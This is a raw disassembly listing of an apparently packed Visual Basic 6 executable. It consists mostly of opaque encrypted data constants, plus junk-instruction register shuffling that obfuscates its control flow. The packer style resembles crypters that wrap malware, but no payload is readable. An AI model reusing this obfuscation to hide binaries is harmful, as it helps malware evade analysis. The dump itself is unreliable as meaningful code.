0D121A600h, 0CE1BE851h, 0F423A570h, 0D4FB718Ch, 7DD33CA5h dd 0CF400DB3h, 0D85A2280h, 0FB71D7A9h, 88F15AD4h, 2ED49C7Ch dd 967FADE9h, 0EB0323C4h, 6998C79Ch, 3D009026h, 741AE275h dd 0CD36A7h, 6431D7A2h, 0EDE3614Dh, 0B053117Fh, 563642E8h dd 0CE1BE88Eh, 3603A970h, 4B1876C5h, 7C49EFB8h, 0B4D5A20Bh dd 0A97194D0h, 0CA28F703h, 0AC0A59FFh, 53713EE4h, 21h dd 0B95F2684h, 4A86A26Ah, 0C5F40B7Eh, 0DB4E9DBBh, 1CD90D76h dd 7D03329Dh, 0B4DB4E37h, 1493E24Bh, 9AF754Ch, 7016DE3Ch dd 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah dd 0CE743E9Ch, 32D8A301h, 5453E865h, 4C3815Bh, 83000000h dd 1C8704EBh db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push 26A0h mov [esp], edi mov edi, 65319E0h mov edx, edi pop edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], edx pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_546EAD ; --------------------------------------------------------------------------- dd 9E139BBBh, 0AEC94166h, 0B0B8B4C6h, 306531Eh, 4BE0FFC5h dd 0DA1CE933h, 1772D1E0h, 0F51C4890h, 0ED54C0EBh, 42FE15h dd 0E9753EE0h, 0AC3F90D0h, 7F71DDF8h, 4F2BA3C2h, 0CD72D119h dd 0B63EAD0Bh, 57241236h, 69067ACCh, 0CF0E09B7h, 4567DA1Bh dd 912EEC03h, 2D1AA279h, 0DA250561h, 990A7E7Ah, 0C776F41Eh dd 66510A3h, 0F55A4028h, 166DA57Eh, 4D3A2CEEh, 0E66AEEF6h dd 0EB3602E6h, 0EAAA104h, 4E8E947h, 5B210000h, 0FEC9A9B5h dd 0A26C4C58h, 4310F0FCh, 0E8B1919Dh, 0BC343642h, 606C12DBh dd 713B980h, 0A9B55B27h, 4F5B01C9h, 0C4BCEBB8h, 6DD4FC01h dd 0AD752262h, 13DC3A07h, 0B981616Dh, 20E84613h, 844FAD7Ah dd 2D9B11DEh, 0BE87E537h, 0A36BC918h, 4511F1FDh, 0E7B3939Fh dd 0D39EFC41h, 0BBEF602Dh, 0FCB8F367h, 0EEC312B1h, 5623C990h dd 80AF31F8h, 0DB4E4300h, 925FC831h, 0F5C26834h, 0F28CE97h dd 0FDC6392Bh, 0F1D5EE57h, 1EC49073h, 0C46A3212h, 42ABC8F7h dd 5339DB4Eh, 9C5CE611h, 4B7BB016h, 0B9000000h, 3A07AD75h dd 4F20770Bh, 0AD977DDBh, 16421032h, 1C7B0h, 75050000h dd 61BF04AAh, 0B021EE94h, 0F23F8C61h, 4F20BDC3h, 0BC0B74DBh dd 3700935Eh, 0EA53C491h, 4CF2BF1Dh, 0A99B097Fh, 80C56B36h dd 65B45A22h, 3A97151h, 0AC75ADF7h, 10DB3906h, 47AD9D6Ah dd 7B21EA1Dh, 56C78F6Fh, 0A0A08F7Fh, 58258E16h, 0BD8A30FAh dd 25F2985Fh, 8B58FEC7h, 16DC8874h, 0DF0E5BAAh, 0DB4E86A1h dd 0CA703A90h, 0D4238CFDh, 7101FC68h, 86B016DAh, 69h, 6AC75C4h dd 6B11DB39h, 8ABA289Eh, 0DCE88E57h, 0AA56D10Dh, 0A9E4DAEDh dd 0E71BF513h, 97E6E968h, 0FDCA7039h, 0E72CD29Fh, 0CB1AC089h dd 501482F6h, 16858DA5h, 110945B0h, 60C70E30h, 4B6CD423h dd 0AA000000h, 14EA4A86h, 0B0B23E59h, 943A0361h, 2C9D69C7h dd 92106A53h, 22EF5852h, 0C2251F0Bh, 784753F9h, 5AA94F1Ah dd 17AA7592h, 66D7A44Ah, 0BF7CB8FDh, 875EA48Eh, 79A87DCCh dd 0DB4F17FAh, 954004EAh, 0B0164B8Dh, 12Ah, 0AB756800h dd 12DA3805h, 9A7E9F6Ch, 0FC6D37AAh, 0C2C4905Fh, 0A5A6BD09h dd 1DCD1448h, 4BA8B41Dh, 6E9DE28Ah, 0D137DD09h, 84E2AF18h dd 2A0A16BCh, 0A2EFBC62h, 945A2655h, 6ED7D501h, 0DAA74D18h dd 97EB1A69h, 56D50194h, 3F07FA6Ah, 5EB8E5CEh, 0E77EA93h dd 0B45A2202h, 1BC189E7h, 0B223F04Eh, 0D6B6746Dh, 420F780Ah dd 0A8751BE4h, 39BFA591h, 8679EB51h, 4A124DBEh, 0C6BE6411h dd 0D969515Dh, 0FEB65BB0h, 180h, 0A2DDF83Ch, 5B2554D6h dd 0D6DB4F20h, 0C637046Dh, 0A2E9185Dh, 0AFD13841h, 531B7946h dd 430A68ADh, 6B3A4E9Dh, 669A400Dh, 0C0228861h, 7DDB2AB8h dd 0E4420FB5h, 0E431761Ch, 131CBB5h, 0C3BDECD5h, 6ED50131h dd 3D063A05h, 4AB42627h, 0A97ECD36h, 0E92572B9h, 313569EEh dd 0CEB2D931h, 63D501ABh, 34DAA4FAh, 3BA7F667h, 680ED609h dd 0D9A7D623h, 58D501ABh, 0BD8CA0EFh, 9EED935Fh, 5B372E38h dd 4ECDB6h, 0F80B0000h, 0E7458AE2h, 4AA8751Bh, 2170D97Fh dd 22ABA5D4h, 3DA6DB4Fh, 203F4170h, 9C67DB4Fh, 0CB29F6h dd 379D8D5Ah, 81E7C70Dh, 3F37A3C3h, 864FADFAh, 0EE6291E0h dd 0E9DB4F22h, 4B52C38Bh, 5CB8D4C6h, 0BDE2D96h, 0ADF696A2h dd 0AC000000h, 4A8FDDF8h, 384FEC1Bh, 0A7EC55D1h, 0F1552B5Ah dd 3362D501h, 0D501F14Dh, 47B07BE4h, 89D623F8h, 1F2265Ah dd 53A20BD5h, 0CD9A2DF5h, 0FECB713Ah, 0AFBB248Dh, 0BE40A4E0h dd 878C83E3h, 9012DA38h, 1FD1F61h, 40A912D5h, 0FD314473h dd 0DFACD501h, 228F01A3h, 7ECD1D61h, 84C05212h, 4E566FE9h dd 41E7B342h, 632B89D8h, 0F65F05D0h, 9FCE1BEAh, 0D501BCE1h dd 0BD98E750h, 0E00F5418h, 0CAD4DCC1h, 2482C730h, 8D62B157h dd 0F4C1672Fh, 1575EFD3h, 3867ACC0h, 0C481BC69h, 44131F88h dd 6C41908h, 9E3AD449h, 0DC1C50AFh, 3B035208h, 4A8FDDF8h dd 2240861Bh, 35026BD1h, 17BD8AE8h, 0FA26AC8h, 5FD09D43h dd 319A4009h, 0EA7D4525h, 3DAE7B21h, 5538FD4h, 0EA3F1E17h dd 0E78D55ABh, 0C94C398h, 4213D5F5h, 0A56D90D4h, 4B13F3FFh dd 0AD7AD8A5h, 35193A07h, 6E14DC0Fh, 49BA8262h, 8DDE6A61h dd 0D3188183h, 0B403A975h, 3C1DFh, 54770000h, 9AF758Ch dd 7016DE3Ch, 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h dd 690FDC3Ah, 0CE743E9Ch, 32D8A301h, 8952E865h, 4C281E2h dd 83000000h, 148704EAh, 1C895C24h, 0E6895624h, 4C681h dd 0EE810000h, 4, 5C243487h, 56240C89h, 0C681E689h, 4 dd 8704EE83h, 895C2434h, 0BA522434h, 5ABF484Eh, 0C101C283h dd 0C28105EAh, 37D256Ah, 545AD189h, 8124348Bh, 4C4h, 512E6800h dd 0C890000h, 8468F24h, 5024348Bh, 405E089h, 5000000h dd 4, 5C240487h, 51240C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch dd 0FFFA5B35h, 0E11EF29Bh, 0FCB8EA57h, 3065323h, 0DCE0FFC5h dd 26054C0Ah, 0D879DF6Bh, 0CD397033h, 1957400Ch, 0E6353999h dd 48644202h, 94064D63h, 8515DD85h, 1157D5F0h, 2372E2B9h dd 967636EFh, 0A14C2D54h, 7647519Ah, 0F46B320Ah, 8640CE2Fh dd 9A6D1113h, 0AD013191h, 747A46Ah, 873BE427h, 4F238969h dd 0E501B521h, 1F2B4C23h, 0E5597FD7h, 2F50F5D3h, 8F3DBEE7h dd 0E8489DE9h, 5, 0FF003319h, 0CBE88100h, 5F35F402h, 900FB966h dd 628FC781h, 840F0000h, 5, 0B9E3FCB8h, 18726816h, 8B660000h dd 830F5AC3h, 5, 0C7BF0F57h, 0F37FF58h, 58Eh, 0F0816600h dd 515BB568h, 59C2BF0Fh, 5B07EB81h, 0EB811AB9h, 7DD4856Bh dd 58E0Fh, 81660000h, 8151A9F0h, 9862F8C3h, 0E1806045h dd 61C38B5Fh, 0DE811F89h, 78B627ECh, 6601EF83h, 0E0AAEE81h dd 664F4F4Fh, 393FDE81h, 0F01EA83h, 2585h, 7E900h, 5F180000h dd 40A3EDD6h, 2DE977h, 0C50F0000h, 0E1BFCF83h, 9860F9A6h dd 0BD1E565Fh, 0D78A12C9h, 97BEFF9Bh, 0E907A0C8h, 0FFFFFF79h dd 1CEC7F13h, 3144034Bh, 0DF7060E1h, 8DA288CCh, 5326778Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 45B67BCBh, 0BE9EAC2h, 22000000h, 0AD66B2ABh dd 1795F45Bh, 8D892656h, 64D0599h, 2D39958Bh, 6660064Dh dd 0C761FA8Bh, 4D051D85h, 71C806h, 0F1B58B00h, 0C7064D06h dd 4D02E985h, 6, 0D78A6000h, 2BE98D8Bh, 0FF61064Dh, 4D2F8DB5h dd 95FFF906h, 64D2E55h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 43C35646h, 69540510h, 6AE8BEh, 51195FFh dd 0C08B064Dh, 57CE5BEBh, 0EA3DE3B1h, 0D919D6F3h, 0A9E86C1Dh dd 191B8763h, 6E2C83F4h, 76BCF434h, 6F68EB99h, 2E8C36E1h dd 42BB70BCh, 0C8811C02h, 36F9AF8h, 0BAF9F008h, 4DE27A39h dd 0E29A8DFAh, 0A3B76D2Dh, 0BE679452h, 920742DEh, 52DF1677h dd 119C59D8h, 5775C874h, 1A639DEh, 80EC63E0h, 14E881h dd 0BDEA0000h, 82D4E6BDh, 1A0AC4BCh, 4BEF3B6Ah, 0F94005F4h dd 8D8BD7EAh, 64D32BDh, 12E85Ah, 0E7A00000h, 697D81ABh dd 650D3E75h, 4850DF24h, 2DDFD7AEh, 0C2815BFCh, 6BEDh dd 23F58589h, 68064Dh, 8B000000h, 4D25D58Dh dd 9D895806h, 64D147Dh, 29023C8Bh, 4D03A1BDh, 1EEF8106h dd 0F690E1Dh, 38Bh, 0CE8B6600h, 9645EF81h, 0C1811088h dd 457224F8h, 52BAC781h, 0BE6640F9h, 3C897EC9h, 29BD8902h dd 66064D1Bh, 0E784CB81h, 8A02E883h, 814848EAh, 75E4CDE3h dd 0F4F88165h, 0FFFFF94h, 2585h, 0BE85700h, 0A0000000h dd 1E986956h, 6A6F0B8Fh, 9589943Eh, 64D160Dh, 20E95959h dd 7D000000h, 19B1ED0Ch, 9D8BCE32h, 64D10F1h, 0FFFF7BE9h dd 43C6C7FFh, 992A816Eh, 8544C777h, 8DF76E41h, 5328C68Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 6F0CFEEh, 0F38AFA58h, 5998D89h, 6A064Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0ECE253C3h, 49579691h, 958B399Bh, 64D211Dh, 51D85C7h dd 6724064Dh, 0CE90000h, 86000000h, 9C3E22CBh, 0DA7FD12Ch dd 0C705FD93h, 4D02E985h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 19812F37h dd 57437422h, 28D5BD8Bh, 0FF5E064Dh, 4D227DB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 39444B1Fh, 6810Fh, 858B0000h, 64D04F1h, 2E5595FFh, 6A064Dh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 2474ADC3h, 0FF006A0Ch, 4D051195h, 0EBC08B06h, 1C9E8969h dd 7D3CAA5Dh, 1E87F036h, 865EF87Ch, 0BA75CD5Ch, 2F4D290Dh dd 570A3BA7h, 88099D4Dh, 0FB2C9ED9h, 6888E2D7h, 890FA3E2h dd 57E5D744h, 0DB19B88Eh, 4D085671h, 29D88298h, 0CFEECB62h dd 0FA5806F0h, 0F42B6AEAh, 29F21C25h, 0E7EDD2A4h, 8CBE252Eh dd 53100136h, 74ACD05Ah, 0CA232565h, 0C5545175h, 53D47DBAh dd 0EE80F5Eh, 0CD000000h, 8E71C3C0h, 2E9ECBB2h, 2AE61B9Eh dd 0DDEA8118h, 587F7B1Dh, 0FDB58B60h, 8B064D11h, 4D317DB5h dd 0C0816106h, 6C9Eh, 65C28166h, 1B05BBD4h, 8E80000h, 52000000h dd 0FE6A644h, 5F9342B2h, 9529308Bh, 64D1AADh, 8D49C681h dd 0F6813B4Fh, 7C461165h, 0EE81C88Bh, 183B0F8h, 38F0Fh dd 0C1800000h, 8B665662h, 80008FF9h, 0E8831BC2h, 0BDBD0104h dd 83064D0Eh, 850F01EBh, 0FFFFFFC0h, 8E9h, 0A3D2AA00h dd 8FA095BFh, 15CE97Dh, 5C50000h, 3A4377E7h, 755F6D5Ch dd 6361706Eh, 72656Bh, 6B636170h, 652E6465h, 6578h, 3Ah dup(0) db 0 align 2 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dw 0CF05h dd 0E9477Ch, 6800001Ch, 6532D38h, 0FA548CE9h, 2E5168FFh dd 82E90653h, 68FFFA54h, 6532F20h, 0FA5478E9h, 2FF668FFh dd 6EE90653h, 68FFFA54h, 653303Dh, 0FA5464E9h, 30F268FFh dd 5AE90653h, 68FFFA54h, 6533145h, 0FA5450E9h, 319E68FFh dd 46E90653h, 68FFFA54h, 6533886h, 0FA543CE9h, 395868FFh dd 32E90653h, 68FFFA54h, 65339F0h, 0FA5428E9h, 3AF468FFh dd 1EE90653h, 68FFFA54h, 6533B51h, 0FA5414E9h, 3C4768FFh dd 0AE90653h, 68FFFA54h, 6533CE5h, 0FA5400E9h, 3D8B68FFh dd 0F6E90653h, 68FFFA53h, 6534436h, 0FA53ECE9h, 450D68FFh dd 0E2E90653h, 68FFFA53h, 65345CDh, 0FA53D8E9h, 0F49A60FFh dd 973D08E8h, 3BE1AB8Bh, 0DC824F2Fh, 8127F0D0h, 1C7D7375h dd 0C1A1AD53h, 684854FAh, 0AEAF69Ch, 0F9909C42h, 0F583FD2Ch dd 0A3AED4FBh, 1E6291DEh, 13D4FBF6h, 86935BAAh, 0E8B55B28h dd 2CA2877h, 69318F5Ch, 7B5AB7C3h, 4E7DACF1h, 3D1383Dh dd 0D69ECD9Ah, 0AAD50204h, 0AAE6083Ch, 2B0846Fh, 0DB663D47h dd 0BB9593BDh, 859D0352h, 32B65BCFh, 2Eh, 8FDDF870h, 0D29FFD4Ah dd 0D5AEDD2Ch, 6CD13820h, 6D073603h, 13D50220h, 0C7BE88C4h dd 0E5B125C1h, 0BF3A2A96h, 0B65BB7A7h, 10054h, 39869200h dd 4F20760Ah, 6E1241DBh, 0C3DB4F20h, 0D7268F5Ah, 3E0BB179h dd 0A47117E0h, 0BD87E46h, 333FE5ADh, 4F26C682h, 8228F0DBh dd 7E49A776h, 4B9A0BD8h, 0CA9225EDh, 1876BB24h, 6CDDAA50h dd 0BFFB481Dh, 7A1F7D44h, 11B783D5h, 1B6AD344h, 92D79540h dd 6D6A1645h, 5EC7DB4Eh, 5C93C20Fh, 0B5D13794h, 2D6D3681h dd 0AB14CFFAh, 0D993429Fh, 1FE94794h, 0EC3BAC79h, 0F1FFD2BDh dd 0D1167FCAh, 92924884h, 0D157798Dh, 0B55B2482h, 369EDAA9h dd 436C4DA1h, 0F99F68BEh, 0E6CBB2Ch, 0BF879F45h, 619879C9h dd 19226E8Ch, 0E7AD0000h, 8A553541h, 2EF8D8E4h, 0CF9C7C88h dd 743D1D29h, 28C0C2CEh, 0ECF89E67h, 939F450Ch, 3541E7B3h dd 0DBE78D55h, 38487744h, 0F9D4FBF3h, 0AC75AEEEh, 2774C106h dd 4F2088F8h, 1940A9DBh, 0DB4F2067h, 0B49C8F61h, 2FFA0154h dd 836377C6h, 3A0915BBh, 1B6A10DCh, 0A2DDF853h, 296532D8h dd 198A61D5h, 36CD541h, 703571BEh, 713CCFEFh, 0EF94C312h dd 0D8D137EBh, 0EC245C8Bh, 0A40DD501h, 92E1874Eh, 5A8956BFh dd 0D501EC1Ah, 13DB1766h, 0BA222C59h, 0F76DD928h, 5B947A0Ch dd 0BFA1B6h, 0FC5A0000h, 723A892Fh, 3A07AD75h, 0B48013DCh dd 67D0410Eh, 89FAC422h, 105B9EE4h, 0C895FE05h, 9DE31257h dd 94DB4E77h, 0D807DC2Bh, 0DB4E7D70h, 0CCD87E46h, 397E24ECh dd 47A314DBh, 0FE80F845h, 21F645AEh, 98DD8F46h, 37BF8669h dd 16228BD1h, 761CE947h, 0E3894C27h, 28116F9Eh, 0B720CAF2h dd 0A54B1472h, 7FF0B999h, 0A67F29A4h, 0E3FB64B6h, 98797C19h dd 9C0DEB3h, 0C6000018h, 6E4E5A00h, 11F1FDA3h, 0B595A147h dd 563642E8h, 0D9DBE78Dh, 13B982D7h, 0BA602707h, 5C02CEAEh dd 2A87050h, 63925FF6h, 0D4FBF31Dh, 75C90914h, 2BFA06ACh dd 936006CDh, 0AD75D322h, 51A74D1Ah, 6A76DF85h, 7AD7520h dd 52B1ED3Ah, 4571111h, 8F5C02CAh, 866B51Eh, 318E9A40h dd 5483C8A4h, 0D1379E43h, 3968359Eh, 0D501503Bh, 726DD745h dd 0B65BEED0h, 0AC07h, 0B7F24500h, 973D0866h, 4686D48h dd 47CF90BFh, 0B922D138h, 0A18A4871h, 16BFE19Dh, 39E21156h dd 0B8F6505Eh, 2EA7824Fh, 3CAF93Eh, 4EF007BDh, 0E3A93C1Ah dd 46DCA81h, 3D4372BFh, 0F4F3C964h, 91EF3C8Bh, 371723C9h dd 0FDB1C96Fh, 77736130h, 173A84A2h, 0CF950000h, 723D1D29h dd 16E0C0CCh, 0B7846470h, 5C250511h, 0A8AAB6h, 0D4E0864Fh dd 7B872DF4h, 1D29CF9Bh, 0C3CF753Dh, 50305F2Ch, 0E1D4FBF1h dd 0AD7596D6h, 765F3A07h, 0A75B1F6h, 67194895h, 0CADB4F05h dd 0CECB2D61h, 98C71463h, 0D1378FFFh, 973D0A68h, 0C7548h dd 0D8B7F2B6h, 0FB2A6FFDh, 0D1384764h, 95DC248Dh, 0F9671948h dd 61CAD501h, 0F48BE312h, 577E49C6h, 4DB65C28h, 3AE0AA08h dd 0AC6F9EEBh, 4543C20Bh, 0A1340FDCh, 5D2886CBh, 0CE1B68B7h dd 3300A670h, 0F3C9B7E6h, 0FF68478Bh, 0B5184796h, 9C3D7969h dd 0C890EE33h, 39D42657h, 4814F9E9h, 8BD039A2h, 6BBDD84Fh dd 4A798BD9h, 413C0436h, 0DA2992FBh, 781EE6C6h, 0F790B060h dd 29471C0Eh, 1664h, 0F3FFA56Bh, 96A24813h, 3A46ECB6h dd 0DBE78D5Ah, 808C32FBh, 5C256A7Eh, 3CAAAB6h, 0A571515Dh dd 4B13F3FFh, 350299A5h, 0FBF17A06h, 6CACB7D4h, 531AAD75h dd 814EF4C0h, 263EA710h, 94E48C74h, 1DE503D8h, 0B2000016h dd 5A3A46ECh, 0FDDDE98Fh, 0A1818D33h, 42222ED4h, 0C5C7D379h dd 0FFA56E23h, 0A64C13F3h, 48EEBA9Ah, 0EE945C3Ch, 4F7E4BE2h dd 0D4FBF031h, 75B5F500h, 64C207ADh, 0D0A5F49Ah, 0D89FE0F5h dd 6B11DC32h, 118EBD02h, 0E0D13841h, 0BC086B77h, 3176F6DFh dd 15640AD3h, 28C699C8h, 53B1CAEBh, 0BE91E086h, 2BF89E68h dd 0E00951BAh, 0B2FA9472h, 296EFED7h, 0F52F21FAh, 9A67D027h dd 9D8B16BFh, 0BB5A69Ch, 70D97F4Ch, 9A64C207h, 0B58A5F4h dd 223221CFh, 410B2DF6h, 0F45DCE9Bh, 3F5776A5h, 91FA21ACh dd 8026EE4Ch, 26CC9474h, 441760Eh, 0C3E1B621h, 1568h, 0EFFBA167h dd 929E440Fh, 3642E8B2h, 0D7E38956h, 7C882EF7h, 5821767Ah dd 0FFC6A6B2h, 0A16D4D59h, 470FEFFBh, 31FE95A1h, 0FBF07E02h dd 68A8B3D4h, 4F20DCA4h, 307BF9DBh, 2A4ADB4Fh, 9BDB4F20h dd 0DB4F00D9h, 374FF5BDh, 94E4AC2Bh, 15E200D5h, 0BA000015h dd 62424EF4h, 5E5F197h, 0A989953Bh, 4A2A36DCh, 0CDCFDB81h dd 7AD76DBh, 0AE541BFBh, 50F6C2A2h, 0F69C6444h, 578653EAh dd 0D4FBF029h, 0F8BDFD08h, 237AC4DDh, 0FA81F0E5h, 321D4C91h dd 1FD1383Dh, 507F01C9h, 0D501E830h, 0C62F9801h, 0A9B5AAAEh dd 4F6D4292h, 14BCh, 9BA74D13h, 3E4AF0BBh, 0E2EE945Eh dd 838F3502h, 2834DAA3h, 4CD8226h, 0AB72525Eh, 4D19F905h dd 0F3BB9BA7h, 0DDAA414Dh, 0FBEFD2AEh, 14545FD4h, 3A07AD75h dd 22C88FEDh, 3795E455h, 0ECFCC96Fh, 83A35E06h, 38B0163Eh dd 28h, 20D0A476h, 0FEC6DB4Fh, 2DFAA06Bh, 964753BCh, 0DB2B978Ch dd 0BD438FCh, 449AEF54h, 9405D278h, 49405E2Bh, 0F6000014h dd 0B75D2886h, 1EC48CEAh, 2877E051h, 8F5C02CAh, 64B21B4h dd 3850E4D7h, 0D8E44DD1h, 0CD125A7Bh, 0EB185D9Eh, 608FD4CAh dd 0CEB4CB20h, 0FA3FA811h, 10912FBEh, 10553FF5h, 0B4B09FE1h dd 0DA2992CEh, 4ADDA705h, 9E0FDC82h, 0FB782935h, 9BCEB4B0h dd 0A9E52AD0h, 0B2E4659Fh, 0DB814BDAh, 0E5349D0Eh, 0B526F1D1h dd 0F582DABDh, 3D03931h, 7F47DAA5h, 0B480AB0Eh, 0BF285B02h dd 4B1881F2h, 9C4FF55Bh, 60204FD1h, 0D1CEB4F3h, 8CF42368h dd 0A5CEB4F3h, 0DFC7D33Ch, 0BC8C6F47h, 1AB74h, 0DDF8B200h dd 0A81B4A8Fh, 99D1382Fh, 4D17743h, 0FF5D2A93h, 0A2828E34h dd 9FEC31D7h, 2121070h, 69B821D5h, 0CBFA4794h, 0D50211B5h dd 95C4137Ch, 0D50221DFh, 0AF5212FEh, 0BDF93EE4h, 8A3BFBCh dd 0A3B706C7h, 98DD8F46h, 0EA47DA69h, 31FE67CAh, 17BD86E4h dd 2C8AD94Ah, 0D1B1BD63h, 66956208h, 0CEB43E1Ch, 0DFA604D1h dd 0ACFB6C39h, 18E10440h, 4A976672h, 0B07D23ECh dd 3D68183Fh, 753ECEB4h, 569B04CFh, 0B43D5927h, 206FD8CEh dd 8451F7C2h, 70B55B26h, 0B8F96B34h, 0AC0200ECh, 1723FE5h dd 0A6EDDDB2h, 20E97C48h, 0D33CAD7Ah, 0DA469506h, 5F2A886Ah dd 7BD2AEDDh, 0F65FCEB4h, 9862C08Dh, 0DC3A89F2h, 0BFE7A011h dd 0AA7D449Ch, 354D3541h, 0FDBC8C53h, 0E28852B0h, 37DA415h dd 2ECEB51Ch, 220E76C5h, 4C000000h, 3906AC75h, 9F6C12DBh dd 0E81B49AFh, 2BCAAE1Fh, 0F7211799h, 889A828Eh, 2FB0162Fh dd 0A4h, 5F28866Dh, 0F65F05CCh, 6309CCA7h, 83F4C01Eh, 0A18C0393h dd 0B10069EEh, 89563564h, 92FBD137h, 99C67C5h, 26329B41h dd 90D57B46h, 6AC06632h, 0BD2EFBA1h, 703B996Eh, 5A2785CAh dd 0A09065B4h, 0CD70A3Ah, 0D0725A66h, 7B65B9Bh, 44h, 5C288645h dd 0BE8BE9B6h, 71DA4B18h, 0E0904722h, 29F04E9Bh, 0F645B683h dd 4F2289C7h, 925FC8DBh, 741AE745h, 217EF625h, 7155DB4Fh dd 2C4493F3h, 2198B8E7h, 50B9DB4Fh, 4F177544h, 113C5AA9h dd 0F2000000h, 760A3986h, 0BBDB4F20h, 5AE50352h, 9B000000h dd 0B85E2886h, 0CD2B7AEBh, 32905D03h, 0CAB6E567h, 67DB4F20h dd 0BA8995FEh, 1EEB915Ch, 473968ADh, 0EADB4F20h, 9D43281h dd 1DBB9663h, 1C598855h, 64DB4F21h, 0E799C815h, 4ADB4F20h dd 3E2692E1h, 96B9A0DCh, 68C5D966h, 0BC2DFAA0h, 849E0453h dd 33B016AAh, 0C6Bh, 0A3E0F871h, 176431D7h, 4F2098E8h dd 0C73099DBh, 9762915Eh, 0E9529A56h, 740EC97Bh, 0A339BD0Ah dd 4Eh, 90E0F8E1h, 0C30F0F4Bh, 61D48910h, 0EA96C512h, 47DB4E4Fh dd 0BCE211DEh, 94B2C31Dh, 0B7C9F845h, 7A31DA81h, 0EE56C211h dd 9561BF0Ch, 81B8C8EFh, 107931DAh, 0DDCB5BC1h, 87F01962h dd 0A9000002h, 3747E86Dh, 672E5BEFh, 1A83F4C1h, 0E0F803CBh dd 83CDD090h, 760A3986h, 0BBDB4F20h, 0DDA50352h, 11B6F237h dd 1764724Dh, 0CFD41BBBh, 5129D09Bh, 0A112DF85h, 8321E938h dd 36C56DC1h, 60F2B316h, 30000000h, 0FDB3986h, 42B9C69h dd 0DB4F207Ch, 22FD4CB5h, 86F6B6B6h, 4F211C57h, 0DC9C05DBh dd 0B8FD3986h, 9DBCA7D2h, 861BE332h, 0C3BDEC39h, 6EDB4F20h dd 20A2DE05h, 268FDB4Fh, 9AF79D7h, 0F99F66C4h, 0E25F7DC5h dd 0CC1B3F2Fh, 5D288604h, 4579EAB7h, 8A6682F9h, 0E6358421h dd 19B51Eh, 0F86B0000h, 86D090E0h, 4F211C57h, 18D8C9DBh dd 0AB75BE86h, 3EA74D18h, 0A4BC847Eh, 0ADF5261Ch, 0CC723D9Bh dd 0C3561F7Dh, 0DBE750F6h, 0D8A033FBh, 8BF46532h, 3EE4AD8Dh dd 6DD73B40h, 0C40CB27Ah, 0B9FEA46Ch, 38FF925Bh, 0EB54C592h dd 7AC7969Ch, 83AA501Ch, 50C51BFDh, 9B7CCB34h, 0E163CF20h dd 489036FEh, 848228F0h, 0FC77DBA4h, 2550C51Bh, 1BCFB1E0h dd 0F96250C5h, 298D9290h, 5A00C83Bh, 4BF1BA12h, 6D179D7Eh dd 0DD3BDD87h, 0C2206F15h, 674753F9h, 92EE1D9Fh, 9F50C51Bh dd 0EFCFCD36h, 2857A426h, 50C51B58h, 4BA6F870h, 4F1A84D4h dd 0B6897E6h, 1650C518h, 8350F6C0h, 4FF5BC12h, 0AAA81182h dd 0F9EC58BEh, 0FC438B31h, 0A550BAC0h, 2E7D568Dh, 646208D0h dd 0CA703795h, 25209A7Bh, 0FB582E0h, 1682D142h, 4DF3BB2Eh dd 9360BE05h, 78409EEDh, 2BF4D4D2h, 0DDA78785h, 420C6A37h dd 81E7CF9Ch, 4D920DC3h, 0E8AFD100h, 2C8250C4h, 7FF0BD63h dd 0E95BC716h, 40882EF6h, 2AD09BF9h, 288613DBh, 0D6AAD95Bh dd 5BDB4F20h, 4BBC89F2h, 0B8852BF5h, 0D29AF847h, 83CD6C2Ch dd 68C6DFF8h, 0EF4DD79Fh, 0B7F338A1h, 2C04DB3Bh, 0CB93E21Ah dd 0C56DC183h, 0F2B31636h, 40h, 5D288630h, 2A79EAB7h, 28E8884Fh dd 11DB3986h, 0DE2D9E6Bh, 4F20C4AFh, 34F45DDBh, 2886BE86h dd 0C6AB95Fh, 1A569B41h, 0E56335BCh, 225E8DFDh, 0FDB4E6Eh dd 26EE3DA6h, 27B5BC84h, 6B000000h, 0D191DFF8h, 211C5786h dd 2D8BDB4Fh, 82F3C066h, 0ED682433h, 76D5325Ah, 86501079h dd 17AA75BEh, 8040A94Fh, 52A4BC84h, 66DB4F30h, 0C69BBBAh dd 70B51E55h, 2407EA34h, 4E808BF5h, 93DA6DBh, 3B8A15C0h dd 0FFFD181Dh, 0D0A4D3FFh, 49DB4F20h, 0D1C7038Fh, 367520Fh dd 7DE49CC3h, 0F74DDB4Eh, 46B7842Ah, 886874DDh, 1C4B18BEh dd 0DB4E7D64h, 36A99B7Fh, 0DABAC66Ch, 5D690Fh, 9DCC99D7h dd 1520D2AAh, 7C49A7F6h, 11B780D6h, 0F3EE56C2h, 0F240C853h dd 29A88h, 2886C600h, 3867B65Ch, 0DB4F203Bh, 91AAF7DEh dd 5F8CD2B6h, 63B0F55Eh, 0C5549A27h, 0DA0E09DCh, 2FEB9B54h dd 3D6CBB5Ch, 0D137D886h, 299A65BBh, 7BF74A48h, 0D0268FFCh dd 24956208h, 5CFAFBBh, 0F1BC1A5Fh, 0C927FC4Bh, 0D71358FEh dd 9B1B0108h, 0FC84B377h, 35D50207h, 3F1463CCh, 4B63B6F2h dd 0CA4624BCh, 0D0521D7Bh, 1DEDFA1h, 0D7A9D8D5h, 5AD501DEh dd 54BD26F1h, 5629AC87h, 